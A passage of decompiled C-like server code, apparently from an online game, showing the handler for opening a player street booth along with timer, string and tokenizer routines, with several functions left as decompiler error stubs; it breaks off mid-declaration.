&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_SendInform2Admin"); } //----- (0055B710) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ(void *this, int netcmd, int i, __int16 handle) { void *v4; // ebp@1 int v5; // eax@5 unsigned int v6; // edi@9 int v7; // eax@9 int v8; // ebx@9 int v9; // edi@9 int v10; // eax@11 int v11; // ST04_4@11 int v12; // eax@11 int v13; // edx@12 unsigned int v14; // eax@13 signed int v15; // ecx@14 int v16; // edi@14 int v17; // esi@17 int v18; // eax@21 int v19; // edx@21 bool v20; // sf@22 unsigned __int8 v21; // of@22 char v22; // al@23 int v23; // edi@25 int v24; // esi@25 int v25; // eax@26 int v26; // eax@26 ItemDataBox::ItemDataBoxIndex *v27; // eax@26 unsigned int v28; // ecx@28 int v29; // edi@29 int v30; // edx@30 int v31; // eax@30 unsigned int v32; // ecx@33 unsigned int v33; // edx@35 int v34; // edi@37 int v35; // eax@38 ItemInventoryCell *v36; // eax@38 ItemInventoryCell *v37; // esi@38 int v38; // edx@44 int v39; // eax@45 int v40; // edx@46 int v41; // eax@47 int v42; // edx@48 int v43; // edx@49 int v44; // eax@50 int v45; // esi@52 int v46; // eax@52 int v47; // ecx@52 int v48; // esi@53 int v49; // ecx@54 bool v50; // zf@54 int v51; // edx@55 ItemInventoryCell *v52; // eax@55 int v53; // edi@55 void *v54; // eax@57 int v55; // edx@57 int v56; // eax@57 int v57; // ecx@57 const void *v58; // esi@58 int v59; // esi@59 const void *v60; // eax@60 int v61; // ebx@60 const void *v62; // esi@60 int v63; // edx@61 int v64; // esi@61 int v65; // eax@61 int v66; // ecx@61 void *v67; // ebp@61 int v68; // edx@64 int v69; // esi@64 int v70; // eax@65 int v71; // eax@66 int v72; // ecx@66 int v73; // eax@67 int v74; // edx@67 char *v75; // eax@67 const void *v76; // edx@67 char v77; // cl@67 int v78; // eax@67 int v79; // eax@67 int v80; // eax@67 int v81; // [sp+0h] [bp-58h]@11 int v82; // [sp+4h] [bp-54h]@11 int v83; // [sp+8h] [bp-50h]@11 int v84; // [sp+Ch] [bp-4Ch]@11 int v85; // [sp+10h] [bp-48h]@11 signed int v86; // [sp+14h] [bp-44h]@4 int v87; // [sp+28h] [bp-30h]@14 FunctionEntarance _; // [sp+2Ch] [bp-2Ch]@1 int m; // [sp+30h] [bp-28h]@13 int k; // [sp+34h] [bp-24h]@24 const void *boothopen; // [sp+38h] [bp-20h]@9 void *iick; // [sp+3Ch] [bp-1Ch]@26 AxialListPacketBroadcast alchat; // [sp+40h] [bp-18h]@57 int v94; // [sp+54h] [bp-4h]@1 signed int netcmda; // [sp+5Ch] [bp+4h]@25 signed int netcmdb; // [sp+5Ch] [bp+4h]@36 signed int netcmdc; // [sp+5Ch] [bp+4h]@52 int netcmdd; // [sp+5Ch] [bp+4h]@58 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v94 = 0; if ( !(_S5_62 & 1) ) { _S5_62 |= 1u; stru_130DF99C.cmc_AllowMode = 38; atexit(_E6_75); } if ( !((1 << **((_BYTE **)v4 + 892)) & stru_130DF99C.cmc_AllowMode) ) { v86 = 2626; LABEL_69: (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 26, 2, v86); goto LABEL_70; } v5 = *(_DWORD *)((char *)v4 + 98); if ( !v5 || !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 155) ) { v86 = 2645; goto LABEL_69; } if ( (unsigned __int8)(*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14470) + 20))((char *)v4 + 57880) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 26, 2, 2629); LABEL_70: v94 = -1; v86 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; goto LABEL_71; } (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2256))(v4); v6 = *(_BYTE *)(netcmd + 32); v7 = *(_DWORD *)v4; v8 = netcmd + 2; boothopen = (const void *)(netcmd + 2); v9 = v6 >> 1; if ( (signed int)((unsigned int)*(_BYTE *)(netcmd + 32) >> 1) >= (*(int (__thiscall **)(void *))(v7 + 1160))(v4) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ : Too many items", v9); (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, signed int))(*(_DWORD *)v4 + 776))(v4, 26, 2, 2627); v94 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v86 = 65535; v85 = 0; v81 = (int)ShineObjectClass::ShineObject::so_TentPoint; v10 = *(_DWORD *)((char *)v4 + 78); v82 = 0; v83 = 0; v11 = v10; v84 = 0; v12 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); if ( !ShineObjectClass::ShineObject::so_AllOfRange(v4, v12, v11, (char *)0x190, 0, v81, v82, v83, v84, v85, v86) ) { v13 = *(_DWORD *)v4; v86 = 2643; v85 = 2; v84 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v13 + 776))(v4, 26, 2, 2643); v94 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v14 = (unsigned int)*(_BYTE *)(netcmd + 32) >> 1; m = 0; if ( (signed int)v14 <= 0 ) { LABEL_23: v22 = *(_BYTE *)(netcmd + 32); if ( v22 & 1 || (k = 0, !(v22 & 0xFE)) ) { LABEL_36: netcmdb = 0; if ( *(_BYTE *)(v8 + 30) & 0xFE ) { v34 = v8 + 31; while ( 1 ) { v35 = *((_DWORD *)v4 + 8920); v86 = *(_BYTE *)v34; v36 = (ItemInventoryCell *)(*(int (__thiscall **)(char *, signed int))v35)((char *)v4 + 35680, v86); v37 = v36; if ( !v36 ) break; if ( !ItemBelongAttribute::iba_Judge(&g_ItmBelongAttr, CItemAuthorityBase::IA_CanPlayerTrade, v36) ) break; if ( ItemGroupClassifier::igc_ChargedDuringUse(&itemgroupclassifier, v37->iic_AttrProc, &v37->iic_Item) ) { v43 = *(_DWORD *)v4; v86 = 2649; v85 = 2; v84 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v43 + 776))(v4, 26, 2, 2649); v94 = -1; v86 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; goto LABEL_71; } v34 += 12; ++netcmdb; if ( netcmdb >= (signed int)((unsigned int)*(_BYTE *)(v8 + 30) >> 1) ) goto LABEL_42; } v44 = *(_DWORD *)v4; v86 = 2649; v85 = 2; v84 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v44 + 776))(v4, 26, 2, 2649); v94 = -1; v86 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; } else { LABEL_42: (*(void (__thiscall **)(void *))(*(_DWORD *)v4 + 2644))(v4); if ( *(_BYTE *)(v8 + 30) & 1 ) *((_DWORD *)v4 + 34913) = (char *)v4 + 139656; else *((_DWORD *)v4 + 34913) = (char *)v4 + 140024; (*(void (**)(void))(**((_DWORD **)v4 + 34913) + 16))(); v45 = **((_DWORD **)v4 + 34913); v46 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); v47 = *((_DWORD *)v4 + 34913); v86 = v46; (*(void (__thiscall **)(int, int))(v45 + 8))(v47, v46); netcmdc = 0; if ( *(_BYTE *)(v8 + 30) & 0xFE ) { v48 = v8 + 31; while ( 1 ) { v49 = *(_BYTE *)v48; v50 = *(_BYTE *)v48 >= 0x90u; iick = (void *)(*(_BYTE *)v48 < 0x90u); if ( v50 ) { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ : Invalid slot", v49); v68 = *(_DWORD *)v4; v86 = 2627; v85 = 2; v84 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v68 + 776))(v4, 26, 2, 2627); v69 = **((_DWORD **)v4 + 34913); goto LABEL_66; } v51 = *((_DWORD *)v4 + 8920); v86 = *(_BYTE *)v48; v52 = (ItemInventoryCell *)(*(int (__thiscall **)(char *, signed int))v51)((char *)v4 + 35680, v86); v53 = (int)v52; if ( !v52 ) break; if ( !ItemBelongAttribute::iba_Judge(&g_ItmBelongAttr, CItemAuthorityBase::IA_CanPlayerTrade, v52) ) break; v54 = (void *)**((_DWORD **)v4 + 34913); v55 = *(_DWORD *)v4; v86 = (signed int)v4; v85 = v48; v84 = v53; iick = v54; v56 = (*(int (__thiscall **)(void *, int, int, void *))(v55 + 2004))(v4, v53, v48, v4); v57 = *((_DWORD *)v4 + 34913); v86 = v56; (*(void (__thiscall **)(int, int))(alchat.alpb_packetlength + 20))(v57, v56); v48 += 12; ++netcmdc; if ( netcmdc >= (signed int)((unsigned int)*(_BYTE *)(v8 + 30) >> 1) ) goto LABEL_58; } v70 = *(_DWORD *)v4; v86 = 2628; v85 = 2; v84 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v70 + 776))(v4, 26, 2, 2628); v69 = **((_DWORD **)v4 + 34913); LABEL_66: v71 = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2004))(v4); v72 = *((_DWORD *)v4 + 34913); v86 = v71; (*(void (__thiscall **)(int, int))(v69 + 12))(v72, v71); v94 = -1; v86 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; } else { LABEL_58: memcpy((void *)(*((_DWORD *)v4 + 34913) + 4), (const void *)v8, 0x1Eu); *(_WORD *)(*((_DWORD *)v4 + 34913) + 36) = *((_WORD *)v4 + 2); v58 = (const void *)(*((_DWORD *)v4 + 8040) + 29); netcmdd = (int)((char *)v4 + 139500); if ( !*((_BYTE *)v4 + 139547) ) { memcpy((char *)v4 + 139500, v58, 0x2Cu); v59 = (int)((char *)v58 + 44); *((_WORD *)v4 + 69772) = *(_WORD *)v59; *((_BYTE *)v4 + 139546) = *(_BYTE *)(v59 + 2); *((_BYTE *)v4 + 139547) = 1; } v60 = boothopen; v61 = *((_DWORD *)v4 + 8040) + 29; v62 = boothopen; memcpy((void *)(*((_DWORD *)v4 + 8040) + 41), boothopen, 0x1Cu); *(_WORD *)(v61 + 40) = *((_WORD *)v62 + 14); LOBYTE(v60) = *((_BYTE *)v60 + 30) & 1; v86 = v61; *(_BYTE *)(v61 + 11) = (_BYTE)v60; if ( ShineObjectClass::ShinePlayer::sp_MakeTentBriefInfo(v4, v86) ) { v73 = *((_DWORD *)v4 + 892); v86 = 2625; v85 = 2; *(_BYTE *)v73 = 5; v74 = *(_DWORD *)v4; v84 = 26; (*(void (__thiscall **)(void *, signed int, int, signed int))(v74 + 776))(v4, 26, v85, v86); v75 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 26627; *((_WORD *)v75 + 1) = *((_WORD *)v4 + 2); v76 = boothopen; memcpy(v75 + 16, (const void *)(*((_DWORD *)v4 + 34913) + 4), 0x1Eu); v75[15] = *((_BYTE *)v76 + 30) & 1; v75 += 4; *(_DWORD *)v75 = *(_DWORD *)v61; *((_DWORD *)v75 + 1) = *(_DWORD *)(v61 + 4); *((_WORD *)v75 + 4) = *(_WORD *)(v61 + 8); v77 = *(_BYTE *)(v61 + 10); v86 = 46; v75[10] = v77; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, v86); v78 = *(_DWORD *)((char *)v4 + 78); v86 = 65535; v85 = 0; v84 = (int)&alchat; v83 = 0; v82 = 0; v81 = v78; LOBYTE(v94) = 1; v79 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v4, v79, v81, (char *)v82, v83, v84, v85, v86); v80 = *(_DWORD *)v4; v86 = 2; (*(void (__thiscall **)(void *, signed int))(v80 + 1704))(v4, 2); *((_DWORD *)v4 + 34912) = clockwatch.cw_CurrTick; LOBYTE(v94) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v94 = -1; v86 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; } else { v63 = *(_DWORD *)v4; v86 = 2646; v85 = 2; v84 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v63 + 776))(v4, 26, 2, 2646); v64 = **((_DWORD **)v4 + 34913); v65 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); v66 = *((_DWORD *)v4 + 34913); v86 = v65; (*(void (__thiscall **)(int, int))(v64 + 12))(v66, v65); v67 = (void *)(*((_DWORD *)v4 + 8040) + 29); if ( *(_BYTE *)(netcmdd + 47) ) { memcpy(v67, (const void *)netcmdd, 0x2Fu); *(_BYTE *)(netcmdd + 47) = 0; } v94 = -1; v86 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; } } } } else { v23 = netcmd + 33; v24 = (int)((char *)v4 + 35680); netcmda = 1; v87 = v8 + 31; while ( 1 ) { v25 = *(_DWORD *)v24; v86 = *(_BYTE *)v23; v26 = (*(int (__thiscall **)(char *, signed int))v25)((char *)v4 + 35680, v86); iick = (void *)v26; v86 = *(_WORD *)(v26 + 8); v27 = ItemDataBox::operator__(&itemdatabox, v86); if ( !v27 || !v27->data->Type ) { v42 = *(_DWORD *)v4; v86 = 2648; v85 = 2; v84 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v42 + 776))(v4, 26, 2, 2648); v94 = -1; v86 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; goto LABEL_71; } v28 = (unsigned int)*(_BYTE *)(v8 + 30) >> 1; m = netcmda; if ( netcmda < (signed int)v28 ) break; LABEL_35: v23 += 12; v33 = (unsigned int)*(_BYTE *)(v8 + 30) >> 1; v21 = __OFSUB__(k + 1, v33); v20 = ((k++ + 1 - v33) & 0x80000000u) != 0; ++netcmda; v87 = v23; if ( !(v20 ^ v21) ) goto LABEL_36; } v29 = v23 + 14; while ( 1 ) { v30 = *(_DWORD *)v24; v86 = *(_BYTE *)(v29 - 2); v31 = (*(int (__thiscall **)(char *, signed int))v30)((char *)v4 + 35680, v86); if ( *((_WORD *)iick + 4) == *(_WORD *)(v31 + 8) ) { if ( *(_DWORD *)(v87 + 2) != *(_DWORD *)v29 || *(_DWORD *)(v87 + 6) != *(_DWORD *)(v29 + 4) ) break; } v32 = (unsigned int)*(_BYTE *)(v8 + 30) >> 1; v29 += 12; ++m; if ( m >= (signed int)v32 ) { v23 = v87; goto LABEL_35; } } v41 = *(_DWORD *)v4; v86 = 2647; v85 = 2; v84 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v41 + 776))(v4, 26, 2, 2647); v94 = -1; v86 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; } } else { v15 = 1; v87 = 1; v16 = netcmd + 33; while ( v15 >= (signed int)v14 ) { LABEL_21: v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 2004))(v4); v19 = *(_DWORD *)v18; v86 = *(_BYTE *)v16; v85 = 9; if ( (unsigned __int8)(*(int (__thiscall **)(int, signed int, signed int))(v19 + 16))(v18, 9, v86) ) { v40 = *(_DWORD *)v4; v86 = 2627; v85 = 2; v84 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v40 + 776))(v4, 26, 2, 2627); v94 = -1; v86 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; goto LABEL_71; } v14 = (unsigned int)*(_BYTE *)(netcmd + 32) >> 1; v16 += 12; v21 = __OFSUB__(m + 1, v14); v20 = ((m++ + 1 - v14) & 0x80000000u) != 0; ++v87; if ( !(v20 ^ v21) ) goto LABEL_23; v15 = v87; } v17 = v16 + 13; while ( 1 ) { if ( *(_BYTE *)v16 == *(_BYTE *)(v17 - 1) ) { v38 = *(_DWORD *)v4; v86 = 2628; v85 = 2; v84 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v38 + 776))(v4, 26, 2, 2628); v94 = -1; v86 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; goto LABEL_71; } if ( *(_BYTE *)(v16 + 1) == *(_BYTE *)v17 ) break; ++v15; v17 += 12; if ( v15 >= (signed int)v14 ) goto LABEL_21; } v39 = *(_DWORD *)v4; v86 = 2628; v85 = 2; v84 = 26; (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v39 + 776))(v4, 26, 2, 2628); v94 = -1; v86 = (signed int)"ShineObjectClass::ShinePlayer::sp_NC_BOOTH_OPEN_REQ"; } LABEL_71: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, (char *)v86); } //----- (0055BF80) -------------------------------------------------------- #error "55BF80: undefined or illegal type '#734' (funcsize=69)" //----- (0055C0A0) -------------------------------------------------------- void __thiscall StreetBoothBuy::StreetBoothBuy(StreetBoothBuy *this) { StreetBoothBuy *v1; // esi@1 v1 = this; StreetBooth::StreetBooth(&this->baseclass_0); v1->baseclass_0.vfptr = (StreetBoothVtbl *)&StreetBoothBuy::_vftable_; } // 675184: using guessed type int (*StreetBoothBuy___vftable_)(); //----- (0055C0C0) -------------------------------------------------------- void __thiscall StreetBoothBuy::_StreetBoothBuy(StreetBoothBuy *this) { this->baseclass_0.vfptr = (StreetBoothVtbl *)&StreetBoothBuy::_vftable_; StreetBooth::_StreetBooth(&this->baseclass_0); } // 675184: using guessed type int (*StreetBoothBuy___vftable_)(); //----- (0055C0D0) -------------------------------------------------------- char *__thiscall StreetBoothSell::sb_Type(StreetBoothSell *this) { return "Sell"; } //----- (0055C0E0) -------------------------------------------------------- char *__thiscall StreetBoothBuy::sb_Type(StreetBoothBuy *this) { return "Buy"; } //----- (0055C0F0) -------------------------------------------------------- #error "55C0F0: undefined or illegal type '#734' (funcsize=202)" //----- (0055C3B0) -------------------------------------------------------- #error "55C3B0: undefined or illegal type '#734' (funcsize=293)" //----- (0055C780) -------------------------------------------------------- #error "55C780: undefined or illegal type '#734' (funcsize=317)" //----- (0055CBB0) -------------------------------------------------------- #error "55CBB0: undefined or illegal type '#734' (funcsize=484)" //----- (0055D200) -------------------------------------------------------- void __thiscall StreetBoothSell::StreetBoothSell(StreetBoothSell *this) { StreetBoothSell *v1; // esi@1 v1 = this; StreetBooth::StreetBooth(&this->baseclass_0); v1->baseclass_0.vfptr = (StreetBoothVtbl *)&StreetBoothSell::_vftable_; } // 6752B0: using guessed type int (*StreetBoothSell___vftable_)(); //----- (0055D220) -------------------------------------------------------- void __thiscall StreetBoothSell::_StreetBoothSell(StreetBoothSell *this) { this->baseclass_0.vfptr = (StreetBoothVtbl *)&StreetBoothSell::_vftable_; StreetBooth::_StreetBooth(&this->baseclass_0); } // 6752B0: using guessed type int (*StreetBoothSell___vftable_)(); //----- (0055D230) -------------------------------------------------------- #error "55D230: undefined or illegal type '#734' (funcsize=280)" //----- (0055D600) -------------------------------------------------------- #error "55D600: undefined or illegal type '#734' (funcsize=335)" //----- (0055DA70) -------------------------------------------------------- #error "55DA70: undefined or illegal type '#734' (funcsize=383)" //----- (0055DFA0) -------------------------------------------------------- #error "55DFA0: undefined or illegal type '#593' (funcsize=166)" //----- (0055E1D0) -------------------------------------------------------- #error "55E1D0: undefined or illegal type '#734' (funcsize=330)" //----- (0055E620) -------------------------------------------------------- SubAbstatePriority::StateExchange __thiscall SubAbstatePriority::PriorityBase::bp_AbStateChange(SubAbstatePriority::PriorityBase *this, AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *oldparam, AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *newparam) { char v3; // bl@1 unsigned int v4; // edi@1 char *v5; // eax@1 unsigned int v6; // esi@1 int v7; // ecx@3 v3 = 0; v4 = 0; v5 = (char *)&newparam->assa_Effect[0].value; v6 = (char *)oldparam - (char *)newparam; while ( 1 ) { if ( *(_DWORD *)&v5[v6 - 4] != *((_DWORD *)v5 - 1) ) return 0; v7 = *(_DWORD *)&v5[v6]; if ( v7 < *(_DWORD *)v5 ) return 1; if ( v7 > *(_DWORD *)v5 ) break; if ( v7 > 0 ) v3 = 1; ++v4; v5 += 8; if ( v4 >= 4 ) return (v3 != 1) + 1; } return 2; } //----- (0055E690) -------------------------------------------------------- void __thiscall TargetAnalyser::TargetAnalyser(TargetAnalyser *this) { this->vfptr = (TargetAnalyserVtbl *)&TargetAnalyser::_vftable_; } // 6754A8: using guessed type int (__stdcall *TargetAnalyser___vftable_)(int target); //----- (0055E6A0) -------------------------------------------------------- void __thiscall TargetAnalyser_Player::_TargetAnalyser_Player(TargetAnalyser_Player *this) { this->baseclass_0.vfptr = (TargetAnalyserVtbl *)&TargetAnalyser::_vftable_; } // 6754A8: using guessed type int (__stdcall *TargetAnalyser___vftable_)(int target); //----- (0055E6B0) -------------------------------------------------------- void __thiscall TargetAnalyser_Player::TargetAnalyser_Player(TargetAnalyser_Player *this) { this->baseclass_0.vfptr = (TargetAnalyserVtbl *)TargetAnalyser_Player::_vftable_; } // 6754B4: using guessed type int (__stdcall *TargetAnalyser_Player___vftable_[3])(int target); //----- (0055E6C0) -------------------------------------------------------- #error "55E6C0: undefined or illegal type '#593' (funcsize=6)" //----- (0055E6E0) -------------------------------------------------------- #error "55E6E0: undefined or illegal type '#593' (funcsize=4)" //----- (0055E6F0) -------------------------------------------------------- #error "55E6F0: undefined or illegal type '#593' (funcsize=6)" //----- (0055E710) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ThirdPromote(void *this, __int16 questid, char classtype) { int v3; // esi@1 char v4; // bl@1 CharClass *v5; // edi@1 char *v6; // edi@3 ZoneBaseSession *v7; // eax@5 Name4 *v8; // eax@7 CQuestZone *v9; // eax@8 __int16 Ack; // [sp+10h] [bp-14h]@8 char v11; // [sp+12h] [bp-12h]@8 int v12; // [sp+13h] [bp-11h]@8 int v13; // [sp+20h] [bp-4h]@1 int classtypea; // [sp+2Ch] [bp+8h]@1 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ThirdPromote"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ThirdPromote"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = classtype; v13 = 0; v5 = CharClassManager::operator__(&charclassmanager, classtype); classtypea = (*(int (**)(void))(**(_DWORD **)(v3 + 3856) + 64))(); if ( v5->vfptr->cc_BaseClass(v5) == classtypea ) { v6 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4182; *((_WORD *)v6 + 1) = AxialListNearGateFind::alngf_Gethandle(v3); *((_DWORD *)v6 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 836))(v3); v6[8] = v4; v6[9] = (*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1236))(v3); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 10) ) { v7 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v7); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_ThirdPromote_ACK : Packet Too Long", 10); } if ( v4 ) { v8 = (Name4 *)(*(int (__thiscall **)(int))(*(_DWORD *)v3 + 1384))(v3); CAnnounceSystem::AnnounceSystem_ClassUp(&gAnnounceSystem, v8, v4); } Ack = questid; v11 = 3; v12 = v4 != 0; MoveManager::MoveManager((DiceTaiSai *)(v3 + 66176)); CQuestZone::Recv_NC_QUEST_SCRIPT_CMD_ACK(v9, (PROTO_NC_QUEST_SCRIPT_CMD_ACK *)&Ack); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_ThirdPromote : ChassChange to another brench", 0); } --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ThirdPromote"); } //----- (0055E8B0) -------------------------------------------------------- void __thiscall TickTimer::TickTimer(TickTimer *this) { this->m_CurDelayTime = 0; this->m_DelayTime = 0; this->m_bEnable = 0; } //----- (0055E8C0) -------------------------------------------------------- void __thiscall TickTimer::TickTimer(TickTimer *this, unsigned int TickDeltaTime) { this->m_CurDelayTime = 0; this->m_DelayTime = TickDeltaTime; this->m_bEnable = 0; } //----- (0055E8E0) -------------------------------------------------------- bool __thiscall TickTimer::Enable(TickTimer *this, bool bEnable) { this->m_bEnable = bEnable; this->m_CurDelayTime = 0; return 1; } //----- (0055E900) -------------------------------------------------------- bool __thiscall CGambleObject::go_Get_MaxEnterPlayerCnt(TickTimer *this) { return this->m_bEnable; } //----- (0055E910) -------------------------------------------------------- unsigned int __thiscall TickTimer::GetInervalTimeToSecond(TickTimer *this) { return this->m_CurDelayTime / 0xA; } //----- (0055E920) -------------------------------------------------------- bool __thiscall TickTimer::CheckUpdateEvent(TickTimer *this, unsigned int TickDeltaTime) { unsigned int v2; // edx@2 unsigned int v3; // eax@2 unsigned int v4; // edx@2 bool result; // al@3 if ( this->m_bEnable && (v2 = TickDeltaTime + this->m_CurDelayTime, v3 = v2, this->m_CurDelayTime = v2, v4 = this->m_DelayTime, v4 < v3) ) { this->m_CurDelayTime = v3 - v4; result = 1; } else { result = 0; } return result; } //----- (0055E950) -------------------------------------------------------- unsigned int __thiscall std::basic_string_std::allocator>::find(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Off, unsigned int _Count) { unsigned int result; // eax@1 unsigned int v5; // esi@1 unsigned int v6; // ebx@2 unsigned int v7; // ebx@3 size_t v8; // ebx@4 char *v9; // ebp@5 int v10; // ebp@7 void *v11; // eax@7 const char *v12; // edi@11 unsigned int v13; // ecx@11 void *v14; // esi@11 bool v15; // zf@11 char *v16; // ecx@17 std::basic_string,std::allocator > *v17; // [sp+0h] [bp-4h]@1 char *_Offa; // [sp+Ch] [bp+8h]@5 result = _Off; v5 = _Count; v17 = this; if ( __PAIR__(_Count, _Off) > this->_Mysize ) { v6 = this->_Mysize; if ( _Off < v6 && (v7 = v6 - _Off, _Count <= v7) && ((v8 = 1 - _Count + v7, this->_Myres < 0x10) ? (v9 = (char *)&this->_Bx, _Offa = (char *)&this->_Bx) : (v9 = *(char **)&this->_Bx._Buf[0], _Offa = (char *)&this->_Bx), v10 = (int)&v9[result], (v11 = memchr((const void *)v10, *_Ptr, v8)) != 0) ) { while ( 1 ) { v12 = _Ptr; v13 = v5; v14 = v11; v15 = 1; do { if ( !v13 ) break; v15 = *(_BYTE *)v14 == *v12; v14 = (char *)v14 + 1; ++v12; --v13; } while ( v15 ); if ( v15 ) break; v8 = v8 + v10 - (_DWORD)v11 - 1; v10 = (int)((char *)v11 + 1); v11 = memchr((char *)v11 + 1, *_Ptr, v8); if ( !v11 ) return -1; v5 = _Count; } v16 = _Offa; if ( v17->_Myres >= 0x10 ) v16 = *(char **)_Offa; result = v11 - v16; } else { result = -1; } } return result; } //----- (0055EA20) -------------------------------------------------------- std::basic_string,std::allocator >::iterator *__thiscall std::basic_string_std::allocator>::erase(std::basic_string,std::allocator > *this, std::basic_string,std::allocator >::iterator *result, std::basic_string,std::allocator >::iterator _First, std::basic_string,std::allocator >::iterator _Last) { std::basic_string,std::allocator > *v4; // edi@1 char *v5; // ebx@1 char *v6; // eax@2 unsigned int v7; // esi@5 unsigned int v8; // eax@7 std::basic_string,std::allocator >::iterator *v9; // eax@10 v4 = this; v5 = (char *)&this->_Bx; if ( this->_Myres < 0x10 ) v6 = (char *)&this->_Bx; else v6 = *(char **)v5; if ( _First ) v7 = *(_DWORD *)&_First - (_DWORD)v6; else v7 = 0; v8 = (unsigned int)_Last; if ( _Last ) v8 = *(_DWORD *)&_Last - *(_DWORD *)&_First; std::basic_string_std::allocator>::erase(this, v7, v8); if ( v4->_Myres < 0x10 ) { v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v5[v7]; } else { v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = *(_DWORD *)v5 + v7; } return v9; } //----- (0055EA80) -------------------------------------------------------- void __cdecl tokenize(std::basic_string,std::allocator > *str, std::vector,std::allocator >,std::allocator,std::allocator > > > *result, std::basic_string,std::allocator > *delimiters, std::basic_string,std::allocator > *delimiters_preserve, std::basic_string,std::allocator > *quote, std::basic_string,std::allocator > *esc) { std::basic_string,std::allocator > *v6; // ecx@1 std::basic_string,std::allocator > *v7; // edi@1 std::basic_string,std::allocator > *v8; // edi@2 unsigned int v9; // esi@5 int v10; // eax@5 unsigned int v11; // eax@10 int v12; // edi@10 int v13; // eax@11 char v14; // bl@13 bool v15; // zf@13 void *v16; // ecx@46 void *v17; // eax@46 int v18; // eax@48 unsigned int v19; // eax@51 void *v20; // eax@56 int v21; // ecx@58 void *v22; // esi@58 void *v23; // edx@59 unsigned int v24; // eax@61 unsigned int v25; // ecx@65 char add_delimiter; // [sp+10h] [bp-80h]@1 char add_char; // [sp+17h] [bp-79h]@13 char escaped; // [sp+18h] [bp-78h]@13 char quoted; // [sp+1Dh] 